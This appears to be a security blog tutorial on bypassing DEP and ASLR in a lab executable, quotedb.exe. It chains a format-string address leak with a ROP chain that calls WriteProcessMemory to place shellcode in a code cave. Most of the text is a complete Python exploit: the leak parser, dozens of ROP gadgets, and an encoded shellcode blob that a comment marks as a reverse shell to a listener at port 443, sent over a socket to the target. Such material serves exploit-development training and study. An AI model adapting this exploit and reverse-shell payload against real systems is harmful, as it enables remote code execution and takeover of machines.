In more modern Windows environments, exploit mitigations like Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR)
are powerful defenses against code injection and memory corruption attacks.
In this blog, we’ll discuss how we can bypass these protections in a vulnerable executable (quotedb.exe
) using a technique that leverages the WriteProcessMemory API to patch our target process’s memory at runtime.
Note: This blog builds upon our previous VirtualAlloc Exploit research post. We assume you are already familiar with basic exploitation concepts and have set up a controlled lab environment.
Understanding DEP and ASLR in short
-
DEP (Data Execution Prevention):
DEP marks certain areas of memory as non-executable. This means even if an attacker manages to inject shellcode into these regions, the processor will refuse to execute the code.
-
ASLR (Address Space Layout Randomization):
ASLR randomizes the base addresses of executable modules. This makes it difficult to predict the location of functions and gadgets needed for a return-oriented programming (ROP) chain.
Our Plan for abusing WriteProcessMemory
The WriteProcessMemory API is typically used to write data into the address space of a specified process. In our exploit, we are “abusing” this function to patch our own process memory. Here’s a breakdown of the parameters that we eventually need to control in our ROP chain:
-
Pointer to WriteProcessMemory:
This is the address of the API itself—used in our chain as the function we intend to “call.”
-
Return Address (Code Cave):
After patching, execution should jump to a safe code cave where our shellcode (preceded by a NOP slide) is located.
-
hProcess (Handle to Current Process):
We can use a pseudo-handle (
0xFFFFFFFF
) to indicate the current process. -
lpBaseAddress (Code Cave):
The location where our patched memory resides—typically the same code cave address as above.
-
lpBuffer (Shellcode Address):
Points to the location where our NOP slide and shellcode are placed.
-
nSize (Size of Shellcode):
The size of the payload. We make sure this is big enough (e.g., 0x385, which equals 900 bytes).
-
lpNumberOfBytesWritten (Writable location):
A writable address used to store the number of bytes written. We patch this to
0x00
.
By carefully constructing our ROP chain, we first align registers and stack pointers so that when WriteProcessMemory is “called,” it patches the executable image in memory—overwriting parts of the Import Address Table (IAT) or a code cave. This effectively nullifies DEP (by writing executable shellcode into a region) and neutralizes ASLR (by computing a static base address from leaked pointers).
Building the Exploit: Step-by-Step Overview
1. Turning on Exploit Protections
Turn on DEP and ASLR in the binary if not already enabled.
Windows Security Center - Exploit Protection
2. Defining WriteProcessMemory Parameters in the ROP Chain
Below is a snippet showing how we lay out the parameters for the WriteProcessMemory call within our ROP chain:
# kernel32!WriteProcessMemory placeholder parameters
rop += pack("<L", 0x69696969) # Pointer to kernel32!WriteProcessMemory
rop += pack("<L", base + 0x301c) # RX from MODULE (static offset when no ASLR)
rop += pack("<L", 0xFFFFFFFF) # hProcess= handle to current process (pseudo-handle)
rop += pack("<L", base + 0x301c) # lpBaseAddress= code cave address
rop += pack("<L", 0x11111111) # lpBuffer= base address of shellcode (to be patched)
rop += pack("<L", 0x22222222) # nSize= size of shellcode
rop += pack("<L", 0x33333333) # lpNumberOfBytesWritten= writable location
Explanation of placeholders:
- 0x69696969: A placeholder for the address of WriteProcessMemory.
- base + 0x301c: Represents a known offset within the module, which remains constant when ASLR is not applied to that module. We have base because of the leak.
- 0xFFFFFFFF: The pseudo-handle for the current process.
- base + 0x301c: Same as the return address, this is the address of the code cave.
- 0x11111111, 0x22222222, 0x33333333: These are placeholders that will be later patched to point to the NOP slide/shellcode, specify the payload size, and designate a location for the byte-count, respectively.
3. Finding a Code Cave
Before the payload is executed, we search for a “code cave” in memory—a contiguous region of unused space. Using the debugger command:
!dh -a main
we can identify a suitable area in the main module where we can deposit our NOP slide and shellcode. Screenshots below show examples of discovered caves:
Check in this case the .data section which is writable and has space for our shellcode.
Code Cave in main module also check if there is space for our shellcode by checking if theres enough 0x00
Now check the offset of the code cave in the main module. In this case it's 0x301c
calculate the offset of the code cave in the main module
4. The Complete Exploit Code
Below is the full Python exploit code that combines format-string leaks (to defeat ASLR), the ROP chain construction (including our WriteProcessMemory patch), and the final payload assembly. Note that the code is split into phases:
- Phase 1: Leak memory addresses using a format string vulnerability. This is seen in the VirtualAlloc post.
- Phase 2: Parse the leak and calculate base addresses for the main module and msvcrt.dll.
- Phase 3: Build the ROP chain, patch WriteProcessMemory parameters, and prepare the shellcode payload.
Patching the placeholders
1. WriteProcessMemory Dereferenced Address
Deference and Address from the IAT entry of the main and calculate the offset from the derefenced value in kernel32 to the address of WriteProcessMemoryStub.
rop += pack("<L", msvcrt_base + 0x17926) # xchg ebx, eax; ret; :: msvcrt.dll
rop += pack("<L", base + 0x02b38) # pop ecx; ret; :: main.exe
rop += pack("<L", base + 0x3a1a8) # VirtualAllocStub address
rop += pack("<L", msvcrt_base + 0x43d1e) # mov eax, dword ptr [ecx]; add cl, cl; ret; :: msvcrt.dll
rop += pack("<L", base + 0x02b38) # pop ecx; ret; :: main.exe
rop += pack("<L", 0x1e480) # add 1e480
rop += pack("<L", msvcrt_base + 0x395b2) # add eax, ecx; pop esi; pop ebp; ret
rop += pack("<L", 0x41414141) # filler pop esi
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", base + 0x01e7a) # mov dword ptr [ebx], eax; ret; :: main.exe
2. Return address (Code Cave)
This one is because of the leak hardcoded in the code. We have to patch this to the offset of the code cave in the main module. We can go the the next placeholder we have to patch.
3. hProccess (0xFFFFFFFF)
This is the handle of the current process we've hardcoded this in the code.
4. lpBaseAddress (Code Cave)
Same as the return address, because of the leak. We've calculated the offset of the code cave.
5. lpBuffer
We need to patch this address of the place where our nopslide starts. Start with a dummy value fg 400 and after your done patching the other placeholders you can patch this to the correct offset / address.
rop += pack("<L", msvcrt_base + 0x47d5d) # mov ecx, eax; mov eax, esi; pop esi; ret 0x10; msvcrt.dll
rop += pack("<L", 0x41414141) # filler pop esi
rop += ropnop
rop += ropnop
rop += ropnop
rop += ropnop
rop += ropnop
rop += pack("<L", msvcrt_base + 0x3aa22) # pop eax; ret; :: msvcrt.dll
rop += pack("<L", 0xfffffe70) # - 400
rop += pack("<L", msvcrt_base + 0x2fa2e) # neg eax; pop ebp; ret; :: msvcrt.dll
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", msvcrt_base + 0x395b2) # add eax, ecx; pop esi; pop ebp; ret
rop += pack("<L", 0x41414141) # filler pop esi
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", msvcrt_base + 0x7f1ac) # mov dword ptr [ecx], eax; pop esi; pop ebp; ret;
rop += pack("<L", 0x43434343) # filler pop esi
rop += pack("<L", 0x43434343) # filler pop ebp
6. nSize (0x385)
We make this 0x385 == 900 the size of our payload. This is big enough.
rop += pack("<L", msvcrt_base + 0x3aa22) # pop eax; ret; :: msvcrt.dll
rop += pack("<L", 0xfffffc7c) # - 900
rop += pack("<L", msvcrt_base + 0x2fa2e) # neg eax; pop ebp; ret; :: msvcrt.dll
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x7f1ac) # mov dword ptr [ecx], eax; pop esi; pop ebp; ret;
rop += pack("<L", 0x43434343) # filler pop esi
rop += pack("<L", 0x43434343) # filler pop ebp
7. lpNumberOfBytesWritten (0x00)
We have to patch this to 0x00
rop += pack("<L", base + 0x025c0) # xor eax, eax; ret; :: main.exe
rop += pack("<L", msvcrt_base + 0x7f1ac) # mov dword ptr [ecx], eax; pop esi; pop ebp; ret;
rop += pack("<L", 0x43434343) # filler pop esi
rop += pack("<L", 0x43434343) # filler pop ebp
8. Get back to the start 0x18
Now go all the way back to the value of WPM (WriteProcessMemory) on the stack. Which is in our case 0x18. After this, change eax to esp to start the WPM call. Also clean ESI so doesn't mess with the stack, when it gets executed.
rop += pack("<L", msvcrt_base + 0x33227) # xor esi, esi; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x3b81a) # mov eax, ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x0fad5) # xchg esp, eax; ret; :: msvcrt.dll
Executing the payload
python3 exploitWPM.py
Full exploit code
from struct import pack, unpack
import socket
TARGET_IP = "192.168.120.185"
TARGET_PORT = 3700
OFFSET = 2064
CRASH_LEN = 4000
target = (TARGET_IP, TARGET_PORT)
# Fase 1: Add a new quote which is a format string
formatstring = pack("<i", 0x386)
formatstring += b"%x " * 30
with socket.create_connection(target) as sock:
sent= sock.send(formatstring)
sock.close()
# Fase 2: Get the string which is the 10th quote and parse the leak
opcode= pack("<i", 0x385)
opcode += pack("<i", 0x0a)
with socket.create_connection(target) as sock:
sent= sock.send(opcode)
response= sock.recv(4096)
print(response)
hex_values= response.decode().strip().split()[:8]
# Convert each hex value to an integer
parsed_values= [int(value, 16) for value in hex_values]
print(parsed_values)
base= parsed_values[2] - 5947
print(f"The base value = {hex(base)}")
msvcrt_base= parsed_values[0] - 420800
print(f"the msvcrt_base = {hex(msvcrt_base)}")
sock.close()
#ropnop
ropnop= pack("<L", base + 0x01289) # ret;
# Fase 3: Ropchain
offset= b"A" * 2064
# Copy esp into another register
rop= pack("<L", base + 0x025c0) # xor eax, eax; ret; :: main.exe
rop += pack("<L", base + 0x01e69) # or eax, esp; ret
rop += pack("<L", base + 0x02781) # add esp, 0x1c; ret; ; main.exe
# Dummy Values
# kernel32!WriteProcessMemory placeholder parameters
rop += pack("<L", 0x69696969) # Pointer to kernel32!WriteProcessMemory
rop += pack("<L", base + 0x301c) # RX from MODULE no aslr
rop += pack("<L", 0xFFFFFFFF) # hProccess= handle to current process (Pseudo handle= 0xFFFFFFFF points to current process)
rop += pack("<L", base + 0x301c) # lpBaseAddress= RX from MODULE no aslr
rop += pack("<L", 0x11111111) # lpBuffer= base address of shellcode (dynamically generated)
rop += pack("<L", 0x22222222) # nSize= size of shellcode
rop += pack("<L", 0x33333333) # lpNumberOfBytesWritten= writable location
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
# Patching WriteProcessMemory
rop += pack("<L", msvcrt_base + 0x17926) # xchg ebx, eax; ret; :: msvcrt.dll
rop += pack("<L", base + 0x02b38) # pop ecx; ret; :: main.exe
rop += pack("<L", base + 0x3a1a8) # VirtualAllocStub address
rop += pack("<L", msvcrt_base + 0x43d1e) # mov eax, dword ptr [ecx]; add cl, cl; ret; :: msvcrt.dll
rop += pack("<L", base + 0x02b38) # pop ecx; ret; :: main.exe
rop += pack("<L", 0x1e480) # add 1e480
rop += pack("<L", msvcrt_base + 0x395b2) # add eax, ecx; pop esi; pop ebp; ret
rop += pack("<L", 0x41414141) # filler pop esi
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", base + 0x01e7a) # mov dword ptr [ebx], eax; ret; :: main.exe
rop += pack("<L", msvcrt_base + 0x17926) # xchg ebx, eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
# Patching lpBuffer
rop += pack("<L", msvcrt_base + 0x47d5d) # mov ecx, eax; mov eax, esi; pop esi; ret 0x10; msvcrt.dll
rop += pack("<L", 0x41414141) # filler pop esi
rop += ropnop
rop += ropnop
rop += ropnop
rop += ropnop
rop += ropnop
rop += pack("<L", msvcrt_base + 0x3aa22) # pop eax; ret; :: msvcrt.dll
rop += pack("<L", 0xfffffe70) # - 400
rop += pack("<L", msvcrt_base + 0x2fa2e) # neg eax; pop ebp; ret; :: msvcrt.dll
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", msvcrt_base + 0x395b2) # add eax, ecx; pop esi; pop ebp; ret
rop += pack("<L", 0x41414141) # filler pop esi
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", msvcrt_base + 0x7f1ac) # mov dword ptr [ecx], eax; pop esi; pop ebp; ret;
rop += pack("<L", 0x43434343) # filler pop esi
rop += pack("<L", 0x43434343) # filler pop ebp
# Patching nsize 900
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x3aa22) # pop eax; ret; :: msvcrt.dll
rop += pack("<L", 0xfffffc7c) # - 900
rop += pack("<L", msvcrt_base + 0x2fa2e) # neg eax; pop ebp; ret; :: msvcrt.dll
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x7f1ac) # mov dword ptr [ecx], eax; pop esi; pop ebp; ret;
rop += pack("<L", 0x43434343) # filler pop esi
rop += pack("<L", 0x43434343) # filler pop ebp
# Patching lpNumberOfBytesWritten 0x0
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", base + 0x025c0) # xor eax, eax; ret; :: main.exe
rop += pack("<L", msvcrt_base + 0x7f1ac) # mov dword ptr [ecx], eax; pop esi; pop ebp; ret;
rop += pack("<L", 0x43434343) # filler pop esi
rop += pack("<L", 0x43434343) # filler pop ebp
# Get back to the start 0x18
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
#clean up esi so imports dont get messed up
rop += pack("<L", msvcrt_base + 0x33227) # xor esi, esi; ret; :: msvcrt.dll
# esp to eip
rop += pack("<L", msvcrt_base + 0x3b81a) # mov eax, ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x0fad5) # xchg esp, eax; ret; :: msvcrt.dll
nopslide= b"\x90" * 100
# shellcoder.py -l 192.168.50.149 -p 443 -b 00
shellcode= b""
shellcode += b"\xba\xbe\x65\xef\xec\xda\xd3\xd9\x74\x24\xf4"
shellcode += b"\x5d\x2b\xc9\xb1\x5e\x31\x55\x14\x83\xc5\x04"
shellcode += b"\x03\x55\x10\x5c\x90\x66\x09\x21\x9f\x89\x2b"
shellcode += b"\xde\xdf\x5b\x05\x44\xab\xed\xa5\x0f\xdd\x01"
shellcode += b"\x4d\x79\x3e\x91\x0f\x8d\xb5\xdb\x8f\x06\xff"
shellcode += b"\x45\xe9\x57\x18\xff\xfb\x8c\x1e\xa1\x72\x27"
shellcode += b"\x1b\xb6\xd1\x2f\xd6\xb7\x25\x50\x79\xc3\x99"
shellcode += b"\x92\xf1\xaf\x1e\x92\x04\x8f\xaa\x2d\x1f\xa4"
shellcode += b"\xea\x91\x1e\x62\x7d\x94\xdc\x71\x48\x5f\x96"
shellcode += b"\x33\x49\xd4\x9c\x33\xb0\x34\xed\x83\x2a\x34"
shellcode += b"\xa2\x80\x8d\xb0\xbc\x49\xc7\x35\xc2\x8b\x33"
shellcode += b"\xb1\xff\x5f\xe0\x1d\x75\xbf\x63\x0a\x51\x3e"
shellcode += b"\xae\xd2\x12\x4c\x04\x91\x72\x51\x99\x7f\xf7"
shellcode += b"\x6d\x13\x7e\xd0\xe7\x67\xa4\xfc\x96\xa4\xcc"
shellcode += b"\x7f\xe1\x9e\x74\x7f\x47\xe5\x0d\x3a\x78\x8d"
shellcode += b"\x83\x8b\x76\xa1\x64\x46\x83\xb0\xdf\x7d\xe3"
shellcode += b"\xb0\x21\xce\xe5\xcb\x88\x35\x83\x71\x2a\x07"
shellcode += b"\x53\x1f\xf2\x0b\x3f\xb0\x6a\xe7\x8d\x1e\x0e"
shellcode += b"\x6f\x85\x2d\xfc\x30\x3d\x2d\x55\xdb\x34\x12"
shellcode += b"\x3d\x28\xab\x69\x86\x51\x61\x96\x71\xe8\x96"
shellcode += b"\xfe\x58\xfa\x53\x53\xa5\xa8\x9f\x25\x1c\x73"
shellcode += b"\xc8\x39\x24\x5e\xbb\xbd\x0d\xa5\x32\x04\x89"
shellcode += b"\x2c\xa4\xb6\x18\x48\x9c\x29\x9f\xbc\x16\x19"
shellcode += b"\xae\x7e\xc0\x22\xd2\x7c\x5d\xac\x87\x9c\x6c"
shellcode += b"\x92\x77\xcd\xde\xa2\x71\xbd\xf2\xc7\x2d\x7d"
shellcode += b"\x5b\x37\x98\x5d\xd2\x01\x13\x5e\xb4\xdd\x3b"
shellcode += b"\x9e\x9d\xec\x2e\x78\x66\x11\xeb\x44\x76\x02"
shellcode += b"\x6d\xc4\xb7\x21\x21\x9e\x68\x17\x01\x4e\xc7"
shellcode += b"\x07\xd1\x6b\xf7\xf7\x86\x25\x08\xa2\x0c\x9c"
shellcode += b"\xa0\x1b\x7d\xe0\x1d\xf4\xcd\x60\xac\x3d\x9c"
shellcode += b"\xe1\xce\x75\x8e\xd0\x10\xd5\x7e\x43\xc1\x86"
shellcode += b"\x2e\x33\xb1\x76\x9e\x03\x75\x27\x4a\x3b\xce"
shellcode += b"\x5c\xf5\x59\xd1\x94\x21\x0d\x46\x38\xbc\xca"
shellcode += b"\xb8\xea\x65\x9a\x25\x23\x50\xfa\x1c\xd4\x61"
shellcode += b"\x2a\x97\x85\x32\x1d\xe7\x76\xec\x0d\xa7\x26"
shellcode += b"\x44\xfe\x77\x94\x04\x01\x22\x02\x95\x34\x9c"
shellcode += b"\x58\x2a\x39\x4a\x8d"
padding= b"C" * (CRASH_LEN - len(offset + rop + nopslide + shellcode))
payload= offset + rop + nopslide + shellcode + padding
with socket.create_connection(target) as sock:
sent= sock.send(payload)
sock.close()